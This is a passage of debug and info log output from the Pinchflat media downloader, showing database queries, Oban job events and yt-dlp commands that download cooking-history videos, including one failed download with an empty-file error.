m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 04:30:50.989 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:30:50.989 [debug] QUERY OK source="sources" db=0.1ms idle=1009.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:30:50.989 [debug] QUERY OK source="media_profiles" db=0.1ms idle=596.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:30:50.990 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 04:30:50.990 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 04:30:50.990 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:30:50.991 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:30:50.991 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:30:50.991 [debug] Running yt-dlp command for action: get_downloadable_status 04:30:50.991 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:30:50.992 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:30:50.992 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:30:50.992 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/24/11/24119f86a42577210bee197d0be2b5a47f92df872ebbced70e4dec46f430df8f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:30:54.934 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/24/11/24119f86a42577210bee197d0be2b5a47f92df872ebbced70e4dec46f430df8f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:30:54.935 [debug] Running yt-dlp command for action: download 04:30:54.935 [debug] QUERY OK source="settings" db=0.1ms idle=949.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:30:54.935 [debug] QUERY OK source="settings" db=0.0ms idle=543.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:30:54.935 [debug] QUERY OK source="settings" db=0.0ms idle=543.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:30:54.936 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5a/56/5a562b71f88263d987f735b517c34e4b2b80e75fac6d459edea3e200cd9ee702.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:31:00.098 [info] {"source":"oban","duration":309,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:31:17.900 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:47.901 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.098 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:32:17.903 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:47.904 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.099 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:33:17.905 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:47.906 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.100 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:34:17.907 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:47.908 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.101 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:35:17.910 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:47.912 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:49.941 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5a/56/5a562b71f88263d987f735b517c34e4b2b80e75fac6d459edea3e200cd9ee702.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:35:49.941 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 04:35:49.941 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":298952975,"event":"job:exception","queue_time":642615,"attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:36:00.102 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:36:17.914 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:47.916 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.103 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:37:17.917 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:47.919 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.104 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:38:17.920 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:47.922 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.105 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:39:17.923 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:47.925 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.106 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:40:17.927 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:47.928 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.107 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:41:17.930 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:47.931 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.108 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:42:17.932 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:47.933 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.110 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:43:17.934 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:47.935 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.110 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:44:17.937 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:35.951 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774946675951520846,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:44:35.952 [debug] QUERY OK source="media_items" db=0.3ms idle=556.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 04:44:35.952 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:44:35.952 [debug] QUERY OK source="sources" db=0.1ms idle=556.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:44:35.952 [debug] QUERY OK source="media_profiles" db=0.1ms idle=557.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:44:35.953 [debug] QUERY OK source="media_items" db=0.2ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 04:44:35.954 [debug] QUERY OK source="media_metadata" db=0.2ms idle=2.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 04:44:35.954 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:44:35.954 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:44:35.955 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:44:35.955 [debug] Running yt-dlp command for action: get_downloadable_status 04:44:35.955 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:44:35.956 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:44:35.956 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:44:35.956 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b3/cb/b3cb25622cf948f93bf75c24a1433b476316dfbed83e0f5c059d4d53baa796f5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:44:39.690 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b3/cb/b3cb25622cf948f93bf75c24a1433b476316dfbed83e0f5c059d4d53baa796f5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:44:39.690 [debug] Running yt-dlp command for action: download 04:44:39.691 [debug] QUERY OK source="settings" db=0.1ms idle=742.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:44:39.691 [debug] QUERY OK source="settings" db=0.1ms idle=295.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:44:39.691 [debug] QUERY OK source="settings" db=0.0ms idle=295.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:44:39.691 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1e/84/1e845bf32bcc4bf2e1b4b75220ff40a45d444104ba878cdab544dea75d1be383.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:44:47.938 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.112 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:45:17.940 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:47.942 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.112 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:46:17.943 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:47.944 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.113 [info] {"source":"oban","duration":135,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:47:17.945 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:47.946 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.114 [info] {"source":"oban","duration":330,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:48:17.948 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:47.949 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.115 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:49:17.951 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:20.275 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774946960275577118,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:49:20.276 [debug] QUERY OK source="media_items" db=0.2ms idle=880.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 04:49:20.276 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:49:20.276 [debug] QUERY OK source="sources" db=0.1ms idle=880.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:49:20.276 [debug] QUERY OK source="media_profiles" db=0.1ms idle=881.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:49:20.277 [debug] QUERY OK source="media_items" db=0.2ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true 